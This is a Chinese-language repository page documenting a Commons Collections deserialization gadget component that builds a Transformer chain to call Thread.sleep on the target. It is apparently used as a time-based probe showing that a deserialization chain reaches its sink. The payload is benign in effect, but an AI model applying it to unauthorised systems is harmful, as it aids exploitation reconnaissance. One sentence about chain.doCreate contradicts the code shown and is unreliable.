Skip to content

Latest commit

 

History

History
57 lines (47 loc) · 3.84 KB

File metadata and controls

57 lines (47 loc) · 3.84 KB

Sleep指定时间(TransformerWithSleep)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖<=commons-collections 3.2.1<=commons-collections 4.0

作用

构造一个 Commons Collections 的 Transformer[] 数组,使其触发时执行 Thread.currentThread()Thread.sleep(n*1000),让目标线程休眠指定秒数。用作 CC 链的探测/延时 sink——通过响应时间差判断链是否成功执行(时间盲注式验证),不落地任何字节码。

链接标签

  • 入口 tagsTransformerChainsEND —— 产出 Transformer[] 供外层 CC gadget 承接;END 表示这是链尾终结节点,其后不再接任何 gadget。
  • 衔接 nextTags:无(终结)。
  • excludes:无。

源码剖析

@Param(name="sleep", description="延迟时间, 单位秒", type=ParamType.Integer)
public String sleep = "5";

public Object getObject() throws Exception {
    LinkedList<Object> transformers = new LinkedList<Object>();
    transformers.add(this.createConstantTransformer(Thread.class));                                  // 常量返回 Thread 类
    transformers.add(this.createInvokerTransformer("getMethod",                                      // 反射取 Thread.currentThread 方法
            new Class[]{String.class, Class[].class}, new Object[]{"currentThread", new Class[0]}));
    transformers.add(this.createInvokerTransformer("invoke",                                         // 调用得到当前线程
            new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}));
    transformers.add(this.createInvokerTransformer("sleep",                                          // Thread.sleep(sleep*1000)
            new Class[]{Long.TYPE}, new Object[]{Integer.parseInt(this.sleep) * 1000}));
    return this.createTransformerArray(transformers);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String version = context.getString(ContextTag.CC_VERSION);
    this.initClazz(version);
    return this.getObject();      // 注意:不调用 chain.doCreate —— 无内层,自身即链尾
}

与其它 Transformer 变体的显著区别:invoke 调用 chain.doCreate(context),因为它是 END 终结节点,不需要内层对象。ChainedTransformer 执行时:Thread.class →(反射)getMethod("currentThread")invoke(null) 得到当前线程 → sleep((long)(sleep*1000)) 使线程阻塞。数组组装依赖基类 AbstractTransformer(见 TransformerWithTemplatesImpl)。注意 Integer.parseInt(this.sleep) * 1000 传入 Long.TYPE 形参,运行时会自动装箱为对应长整值。

参数(@Param)

字段 名称 说明 默认 可选值
sleep sleep 延迟时间,单位秒(ParamType.Integer 5 任意整数(秒)

适用版本与原理要点

  • 适用 commons-collections <= 3.2.1collections4 <= 4.0,靠 initClazzCC_VERSION 选包。
  • 无害 sink:仅 Thread.sleep,不加载字节码、不出网,用于验证 CC 反序列化链是否可达(观测响应延迟)。
  • 因带 END 标签且 invoke 不取内层,必须放在链的最末端。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。作为 CC 链的探测尾节点手工使用。

关联